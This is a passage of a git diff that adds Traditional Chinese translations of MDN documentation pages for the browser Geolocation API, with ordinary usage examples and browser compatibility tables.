+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocation/using_geolocation/index.html b/files/zh-tw/web/api/geolocation/using_geolocation/index.html
new file mode 100644
index 0000000000..cdc56770c4
--- /dev/null
+++ b/files/zh-tw/web/api/geolocation/using_geolocation/index.html
@@ -0,0 +1,251 @@
+---
+title: 地理位置定位 (Geolocation)
+slug: Web/API/Geolocation/Using_geolocation
+translation_of: Web/API/Geolocation_API
+---
+<p>Web Apps 若需要使用者的位置，可透過<strong> Geolocation API</strong> 取得相關資訊。而基於隱私權的考量，這些 Web Apps 均必須取得使用者的許可之後，才能發佈位置資訊。</p>
+
+<h2 id="地理位置定位_Geolocation_物件">地理位置定位 (Geolocation) 物件</h2>
+
+<p>Geolocation API，是透過 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation" title="The documentation about this has not yet been written; please consider contributing!"><code>navigator.geolocation</code></a> <code>物件</code>所發佈。</p>
+
+<p>若該物件可用，即可進行地理位置定位服務。因此可先測試地理位置定位是否存在：</p>
+
+<pre class="brush: js">if ("geolocation" in navigator) {
+  /* geolocation is available */
+} else {
+  /* geolocation IS NOT available */
+}
+</pre>
+
+<div class="note"><strong>注意：</strong>在 Firefox 24 之後的版本，即使停用此 API，<code>navigator </code>中的「<code>geolocation」也同樣回傳</code> <code>true。此問題已根據規格而於</code> <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/25/Site_Compatibility">Firefox 25</a> 中修正 (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=884921" title="FIXED: Align navigator.geolocation with spec">bug 884921</a>)。</div>
+
+<h3 id="取得目前位置">取得目前位置</h3>
+
+<p>若要取得使用者目前的位置，可呼叫 <code>getCurrentPosition()</code> 函式。如此將啟動非同步化的請求，以偵測使用者的位置，並將查詢定位硬體而取得最新資訊。一旦決定位置，隨即執行特定的回呼常式 (Callback routine)。若發生錯誤，則可選擇是否提供第二次回呼。第三項參數為選項介面 (亦可選擇是否使用之)，可設定位置回傳的的最長時間，與請求的等待時間。<br>
+ 若不論定位精確度而想儘快固定單一位置，則可使用 <code>getCurrentPosition()</code>。以具備 GPS 的裝置為例，往往需耗時 1 分鐘或更長的時間而固定 GPS 資訊。也因此，<code>getCurrentPosition()</code> 可能取得較低精確度的資料 (IP 位置或 WiFi) 而隨即開始作業。</p>
+
+<div class="note">
+<p><strong>注意：</strong>依預設值，<a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation.getCurrentPosition" title="The Geolocation.getCurrentPosition() method is used to get the current position of the device."><code>getCurrentPosition()</code></a> 將儘快回傳較低精確度的結果。若不論精確度而只要儘快獲得答案，則可使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation.getCurrentPosition" title="The Geolocation.getCurrentPosition() method is used to get the current position of the device."><code>getCurrentPosition()</code></a>。舉例來說，搭載 GPS 的裝置可能需要一段時間才能取得 GPS 定位資訊，所以可能將低精確度的資料 (IP 位置或 Wifi) 回傳至 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation.getCurrentPosition" title="The Geolocation.getCurrentPosition() method is used to get the current position of the device."><code>getCurrentPosition()</code></a>。</p>
+</div>
+
+<pre class="brush: js">navigator.geolocation.getCurrentPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});</pre>
+
+<p>一旦取得定位位置之後，上列範例隨即將執行 <code>do_something() </code>函式。</p>
+
+<h3 id="觀看目前位置">觀看目前位置</h3>
+
+<p>如果定位資料改變 (可能是裝置移動，或取得更精確的地理位置資訊)，則可設定 1 組回呼函式，使其隨著更新過的定位資訊而呼叫之。而這個動作可透過 <code>watchPosition() 函式</code>完成。<a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation.watchPosition" title="The Geolocation.watchPosition() method is used to register a handler function that will be called automatically each time the position of the device changes. You can also, optionally, specify an error handling callback function."><code>watchPosition()</code></a> 所具備的輸入參數與 <code>getCurrentPosition() </code>相同。回呼函式將呼叫數次，讓瀏覽器可於使用者移動期間更新位置，或可根據目前所使用的不同定位技術，提供更精確的定位資訊。若一直未回傳有效結果，則錯誤回呼 (Error Callback) 函式僅將呼叫 1 次。另請注意，錯誤回呼函式僅限於 <code>getCurrentPosition()，因此為選填</code>。</p>
+
+<div class="note">
+<p><strong>注意：</strong>不需啟動 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation.getCurrentPosition" title="The Geolocation.getCurrentPosition() method is used to get the current position of the device."><code>getCurrentPosition()</code></a> 呼叫，亦可使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation.watchPosition" title="The Geolocation.watchPosition() method is used to register a handler function that will be called automatically each time the position of the device changes. You can also, optionally, specify an error handling callback function."><code>watchPosition()</code></a>。</p>
+</div>
+
+<pre class="brush: js">var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+);</pre>
+
+<p><code>watchPosition()</code> 函式將回傳 1 組 ID 編號，專用以識別必要的定位監看員 (Watcher)。而此數值若搭配 <code>clearWatch() </code>函式，即可停止觀看使用者的位置。</p>
+
+<pre>navigator.geolocation.clearWatch(watchID);
+</pre>
+
+<h3 id="微調回應">微調回應</h3>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation.getCurrentPosition" title="The Geolocation.getCurrentPosition() method is used to get the current position of the device."><code>getCurrentPosition()</code></a> 與 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation.watchPosition" title="The Geolocation.watchPosition() method is used to register a handler function that will be called automatically each time the position of the device changes. You can also, optionally, specify an error handling callback function."><code>watchPosition()</code></a> 均可容納 1 組成功回呼、1 組錯誤回呼 (選填)、1 組 <code>PositionOptions</code> 物件 (選填)。</p>
+
+<p>對 <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation.watchPosition" title="The Geolocation.watchPosition() method is used to register a handler function that will be called automatically each time the position of the device changes. You can also, optionally, specify an error handling callback function."><code>watchPosition</code></a> 的呼叫應類似如下：</p>
+
+<pre class="brush: js">function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Sorry, no position available.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);</pre>
+
+<p><a id="fck_paste_padding">現成的 watchPosition Demo：</a><a class="external" href="http://www.thedotproduct.org/experiments/geo/">http://www.thedotproduct.org/experiments/geo/</a><br>
+ <a id="fck_paste_padding"></a></p>
+
+<h2 id="敘述位置">敘述位置</h2>
+
+<p>以 <code>Position</code> 物件參照 <code>Coordinates</code> 物件，即可敘述使用者的位置。</p>
+
+<h2 id="處理錯誤">處理錯誤</h2>
+
+<p>在呼叫 <code>getCurrentPosition()</code> 或 <code>watchPosition() 時，</code>若獲得錯誤回呼函式，則<code>錯誤回呼函式的第一組參數將為 PositionError 物件：</code></p>
+
+<pre>function errorCallback(<code>error</code>) {  alert('ERROR(' +<code> error</code>.<code>code </code>+ '): ' +<code> error</code>.<code>message</code>);};
+</pre>
+
+<h2 id="地理位置定位實際範例">地理位置定位實際範例</h2>
+
+<h3 id="HTML_內容">HTML 內容</h3>
+
+<pre>&lt;p&gt;&lt;button onclick="geoFindMe()"&gt;<code>Show my location</code>&lt;/button&gt;&lt;/p&gt;
+&lt;div id="out"&gt;&lt;/div&gt;</pre>
+
+<h3 id="JavaScript_內容">JavaScript 內容</h3>
+
+<pre class="brush: js;">function geoFindMe() {
+  var output = document.getElementById("out");
+
+  if (!navigator.geolocation){
+    output.innerHTML = "&lt;p&gt;Geolocation is not supported by your browser&lt;/p&gt;";
+    return;
+  }
+
+  function success(position) {
+    var latitude  = position.coords.latitude;
+    var longitude = position.coords.longitude;
+
+    output.innerHTML = '&lt;p&gt;Latitude is ' + latitude + '° &lt;br&gt;Longitude is ' + longitude + '°&lt;/p&gt;';
+
+    var img = new Image();
+    img.src = "http://maps.googleapis.com/maps/api/staticmap?center=" + latitude + "," + longitude + "&amp;zoom=13&amp;size=300x300&amp;sensor=false";
+
+    output.appendChild(img);
+  };
+
+  function error() {
+    output.innerHTML = "Unable to retrieve your location";
+  };
+
+  output.innerHTML = "&lt;p&gt;Locating…&lt;/p&gt;";
+
+  navigator.geolocation.getCurrentPosition(success, error);
+}
+</pre>
+
+<h3 id="現場測試結果">現場測試結果</h3>
+
+<p>若無法顯示，可至本文右上角「Language」切換回英文原文觀看。</p>
+
+
+<p>{{EmbedLiveSample('Examples', 350, 150, "", "", "", "geolocation")}}</p>
+
+
+<h2 id="請求權限">請求權限</h2>
+
+<p>addons.mozilla.org 上所提供的任何附加元件，只要使用地理位置定位資料，均必須明確取得許可才能繼續作業。下列函式詢問許可的方法，則類似網頁詢問許可的自動提示方法，但更為簡單。若為可套用的狀態，則使用者的回應將儲存於 <code>pref</code> 參數所指定的偏好中。於 <code>callback</code> 參數中所提供的函式，將透過 1 組代表使用者反應的布林值而呼叫之。若使用者的回應為 <code>true</code>，則附加元件才會存取地理位置定位資料。</p>
+
+<pre class="brush: js">function prompt(window, pref, message, callback) {
+    let branch = Components.classes["@mozilla.org/preferences-service;1"]
+                           .getService(Components.interfaces.nsIPrefBranch);
+
+    if (branch.getPrefType(pref) === branch.PREF_STRING) {
+        switch (branch.getCharPref(pref)) {
+        case "always":
+            return callback(true);
+        case "never":
+            return callback(false);
+        }
+    }
+
+    let done = false;
+
+    function remember(value, result) {
+        return function() {
+            done = true;
+            branch.setCharPref(pref, value);
+            callback(result);
+        }
+    }
+
+    let self = window.PopupNotifications.show(
+        window.gBrowser.selectedBrowser,
+        "geolocation",
+        message,
+        "geo-notification-icon",
+        {
+            label: "Share Location",
+            accessKey: "S",
+            callback: function(notification) {
+                done = true;
+                callback(true);
+            }
+        }, [
+            {
+                label: "Always Share",
+                accessKey: "A",
+                callback: remember("always", true)
+            },
+            {
+                label: "Never Share",
+                accessKey: "N",
+                callback: remember("never", false)
+            }
+        ], {
+            eventCallback: function(event) {
+                if (event === "dismissed") {
+                    if (!done) callback(false);
+                    done = true;
+                    window.PopupNotifications.remove(self);
+                }
+            },
+            persistWhileVisible: true
+        });
+}
+
+prompt(window,
+       "extensions.foo-addon.allowGeolocation",
+       "Foo Add-on wants to know your location.",
+       function callback(allowed) { alert(allowed); });
+</pre>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>瀏覽器</th>
+   <th>基本支援</th>
+   <th><a class="external" href="http://dev.w3.org/geo/api/spec-source-v2.html">Geolocation Level 2</a></th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>IE9 RC</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>3.5</strong> (1.9.1)</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td><strong>10.60</strong></td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>Safari | Chrome | WebKit</td>
+   <td>5 | 5 | 533</td>
+   <td>---</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Gecko_註記">Gecko 註記</h2>
+
+<p>Firefox 可透過 Google 的定位服務 (Google Location Services，GLS)，根據使用者的 WiFi 資訊而找出使用者的位置。與 Google 之間所交換的資料，包含 WiFi 存取點 (Access Point) 資料、Access token (類似 2 個禮拜的 cookie)、使用者的 IP 位址。若需更多資訊，可參閱 <a href="http://www.mozilla.com/en-US/legal/privacy/" title="http://www.mozilla.com/en-US/legal/privacy/">Mozilla 的隱私權政策</a>與 <a href="http://www.google.com/privacy-lsf.html" title="http://www.google.com/privacy-lsf.html">Google 的隱私權政策</a>。其內將詳述資料的使用方式。</p>
+
+<p>Firefox 3.6 (Gecko 1.9.2) 新支援了 <a href="http://catb.org/gpsd/" title="http://catb.org/gpsd/">GPSD</a> (GPS daemon) 服務，適合 Linux 的地理位置定位。</p>
+
+<h2 id="另請參閱">另請參閱</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.geolocation" title="The documentation about this has not yet been written; please consider contributing!"><code>navigator.geolocation</code></a></li>
+ <li><a href="http://www.w3.org/TR/geolocation-API/" title="http://www.w3.org/TR/geolocation-API/">w3.org 的 Geolocation API </a></li>
+ <li><a href="https://developer.mozilla.org/en-US/demos/tag/tech:geolocation" title="en-US/demos/tag/tech:geolocation/">Geolocation API 相關 Demos</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocation/watchposition/index.html b/files/zh-tw/web/api/geolocation/watchposition/index.html
new file mode 100644
index 0000000000..fc5109f1f5
--- /dev/null
+++ b/files/zh-tw/web/api/geolocation/watchposition/index.html
@@ -0,0 +1,143 @@
+---
+title: Geolocation.watchPosition()
+slug: Web/API/Geolocation/watchPosition
+translation_of: Web/API/Geolocation/watchPosition
+---
+<p>{{ APIref("Geolocation API") }}</p>
+
+<p><strong><code>Geolocation.watchPosition()</code></strong> 這個方法是用來註冊一個處理的函式，當使用者的裝置位置更新時，這個函式所傳入的回呼函式(callback function) 就會自動被呼叫。你也可以選擇性的定義錯誤時哪些錯誤回呼函式(error callback function) 需要被呼叫。</p>
+
+<p>這個函式將回傳一組 ID 編號，此編號搭配 {{domxref("Geolocation.clearWatch()")}} 函式，即可停止更新使用者的位置。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>id</em> = navigator.geolocation.watchPosition(<em>success[</em>, <em>error[</em>, <em>options]]</em>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><em>success</em></dt>
+ <dd>一個回呼函式(callback function) 會被傳入一個 {{domxref("Position")}} 的物件。</dd>
+ <dt><em>error</em> {{optional_inline}}</dt>
+ <dd>一個選擇性的錯誤回呼函式(callback function)，會被傳入一個{{domxref("PositionError")}} 的物件。</dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>一個選擇性 {{domxref("PositionOptions")}} 的物件。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var id, target, options;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+    console.log('Congratulations, you reached the target');
+    navigator.geolocation.clearWatch(id);
+  }
+}
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+}
+
+target = {
+  latitude : 0,
+  longitude: 0
+};
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<h2 id="備註">備註</h2>
+
+<p>如果你的應用程式是跑在 firefox OS上，請參考 <a href="/en-US/docs/Web/API/Geolocation/navigator.requestWakeLock()">geolocation wake lock</a>，此方法可以讓你的程式在背景或螢幕關上時也能持續收到位置更新。</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#watch-position', 'Geolocation.watchPosition()')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Geolocation/navigator.requestWakeLock()">geolocation wake lock</a></li>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>這個介面屬於{{domxref("Geolocation")}}. 並且存取他的方式為{{domxref("NavigatorGeolocation.geolocation")}}.</li>
+ <li>相反的操作: {{domxref("Geolocation.clearWatch()")}}</li>
+ <li>類似的方法: {{domxref("Geolocation.getCurrentPosition()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationcoordinates/accuracy/index.html b/files/zh-tw/web/api/geolocationcoordinates/accuracy/index.html
new file mode 100644
index 0000000000..4670394148
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationcoordinates/accuracy/index.html
@@ -0,0 +1,93 @@
+---
+title: Coordinates.accuracy
+slug: Web/API/GeolocationCoordinates/accuracy
+translation_of: Web/API/GeolocationCoordinates/accuracy
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Coordinates.accuracy</strong></code> 是個唯讀的正複數用來代表 {{domxref("Coordinates.latitude")}} 和 {{domxref("Coordinates.longitude")}} 的準確度，單位為公尺，並有 95% 可靠度。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>acc</var> = <var>coordinates</var>.accuracy
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#accuracy', 'Coordinates.accuracy')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("Coordinates")}} 介面。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationcoordinates/altitude/index.html b/files/zh-tw/web/api/geolocationcoordinates/altitude/index.html
new file mode 100644
index 0000000000..a9e2141793
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationcoordinates/altitude/index.html
@@ -0,0 +1,93 @@
+---
+title: Coordinates.altitude
+slug: Web/API/GeolocationCoordinates/altitude
+translation_of: Web/API/GeolocationCoordinates/altitude
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Coordinates.altitude</strong></code> 是個唯讀的正複數用來代表距離海平面的高度，單位為公尺。如果無法提供這個值則回傳 null。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>alt</em> = <code><em>coordinates</em><code>.altitude</code></code>
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#altitude', 'Coordinates.altitude')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("Coordinates")}} 介面。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationcoordinates/altitudeaccuracy/index.html b/files/zh-tw/web/api/geolocationcoordinates/altitudeaccuracy/index.html
new file mode 100644
index 0000000000..e0ad663ba0
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationcoordinates/altitudeaccuracy/index.html
@@ -0,0 +1,93 @@
+---
+title: Coordinates.altitudeAccuracy
+slug: Web/API/GeolocationCoordinates/altitudeAccuracy
+translation_of: Web/API/GeolocationCoordinates/altitudeAccuracy
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Coordinates.altitudeAccuracy</strong></code> 是個唯讀的正複數用來代表高度的精準度，單位為公尺，並有 95% 可靠度。如果裝置無法提供這個值則回傳 null。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>altAcc</var> = <var>coordinates</var>.altitudeAccuracy
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#altitudeaccuracy', 'Coordinates.altitudeAccuracy')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>屬於 {{domxref("Coordinates")}} 介面。</li>
+</ul>
diff --git a/files/zh-tw/web/api/geolocationcoordinates/heading/index.html b/files/zh-tw/web/api/geolocationcoordinates/heading/index.html
new file mode 100644
index 0000000000..be762eb369
--- /dev/null
+++ b/files/zh-tw/web/api/geolocationcoordinates/heading/index.html
@@ -0,0 +1,93 @@
+---
+title: Coordinates.heading
+slug: Web/API/GeolocationCoordinates/heading
+translation_of: Web/API/GeolocationCoordinates/heading
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><code><strong>Coordinates.heading</strong></code> 是個唯讀的正複數用來代表裝置前進的方向。這個數值代表你偏離北方多少度，0度代表你向著正北方，照著順時針的方向遞增(90度代表正東方，270度代表正西方)。如果{{domxref("Coordinates.speed")}} 為0度，則此值為 <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/JavaScript/Reference/Global_Objects/NaN">NaN</a></code>。如果這個裝置無法提供這個值則回傳 null。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>heading</var> = <var>coordinates</var>.heading
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#heading', 'Coordinates.heading')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的相容性">瀏覽器的相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
